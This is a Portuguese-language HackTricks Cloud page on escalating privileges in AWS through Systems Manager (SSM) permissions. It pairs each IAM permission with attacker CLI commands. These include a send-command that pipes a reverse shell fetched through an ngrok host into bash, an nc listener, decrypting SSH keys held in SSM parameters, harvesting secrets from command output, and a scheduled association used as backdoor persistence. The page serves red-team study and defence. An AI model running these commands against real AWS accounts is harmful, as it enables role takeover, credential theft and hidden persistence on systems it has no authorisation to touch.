AWS - SSM Privesc
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
SSM
Para mais informaçÔes sobre SSM, veja:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Um atacante com a permissão ssm:SendCommand pode executar comandos em instùncias que estejam executando o Amazon SSM Agent e comprometer a IAM Role em execução nelas.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Caso vocĂȘ esteja usando esta tĂ©cnica para escalate privileges dentro de uma instĂąncia EC2 jĂĄ comprometida, vocĂȘ pode simplesmente capturar o rev shell localmente com:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Impacto Potencial: Privesc direto para os EC2 IAM roles anexados às instùncias em execução com SSM Agents.
ssm:StartSession
Um atacante com a permissão ssm:StartSession pode iniciar uma sessão semelhante a SSH em instùncias que executam o Amazon SSM Agent e comprometer o IAM Role em execução no seu interior.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Em ordem para iniciar uma sessĂŁo vocĂȘ precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Impacto Potencial: privesc direto para os EC2 IAM roles anexados às instùncias em execução com SSM Agents em funcionamento.
Privesc para ECS
Quando ECS tasks são executadas com ExecuteCommand enabled usuårios com permissÔes suficientes podem usar ecs execute-command para execute a command dentro do container.
De acordo com the documentation isso Ă© feito criando um canal seguro entre o dispositivo que vocĂȘ usa para iniciar o comando âexecâ e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessĂĄrio para isso funcionar)
Portanto, usuårios com ssm:StartSession poderão get a shell inside ECS tasks com essa opção habilitada apenas executando:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Impacto Potencial: Direct privesc para as ECSIAM roles anexadas às tarefas em execução com ExecuteCommand habilitado.
ssm:ResumeSession
Um atacante com a permissĂŁo ssm:ResumeSession pode re-iniciar uma sessĂŁo tipo SSH em instĂąncias executando o Amazon SSM Agent com um estado de sessĂŁo SSM desconectado e comprometer o IAM Role que estiver sendo executado dentro dela.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Impacto Potencial: Direct privesc para os EC2 IAM roles atribuĂdos Ă s instĂąncias em execução com SSM Agents ativos e sessĂ”es desconectadas.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Um atacante com as permissĂ”es mencionadas poderĂĄ listar os SSM parameters e lĂȘ-los em texto plano. Nesses parĂąmetros vocĂȘ frequentemente pode encontrar informaçÔes sensĂveis, como chaves SSH ou chaves de API.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Impacto Potencial: Encontrar informaçÔes sensĂveis dentro dos parĂąmetros.
ssm:ListCommands
Um atacante com essa permissĂŁo pode listar todos os comandos enviados e, com sorte, encontrar informaçÔes sensĂveis neles.
aws ssm list-commands
Impacto Potencial: Encontrar informaçÔes sensĂveis dentro das linhas de comando.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Um atacante com essas permissĂ”es pode listar todos os commands enviados e read the output gerado, esperando encontrar informaçÔes sensĂveis nele.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Impacto Potencial: Encontrar informaçÔes sensĂveis na saĂda das linhas de comando.
Usando ssm:CreateAssociation
Um atacante com a permissĂŁo ssm:CreateAssociation pode criar uma State Manager Association para executar comandos automaticamente em instĂąncias EC2 gerenciadas pelo SSM. Essas associaçÔes podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para persistĂȘncia tipo backdoor sem sessĂ”es interativas.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
Este mĂ©todo de persistĂȘncia funciona enquanto a instĂąncia EC2 for gerida pelo Systems Manager, o agente SSM estiver em execução, e o atacante tiver permissĂŁo para criar associations. NĂŁo requer sessĂ”es interativas nem permissĂ”es explĂcitas ssm:SendCommand. Importante: O parĂąmetro --schedule-expression (por exemplo, rate(30 minutes)) deve respeitar o intervalo mĂnimo da AWS de 30 minutos. Para execução imediata ou Ășnica, omita completamente --schedule-expression â a association serĂĄ executada uma vez apĂłs a criação.
Codebuild
VocĂȘ tambĂ©m pode usar o SSM para obter acesso a um projeto codebuild durante a sua construção:
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
HackTricks Cloud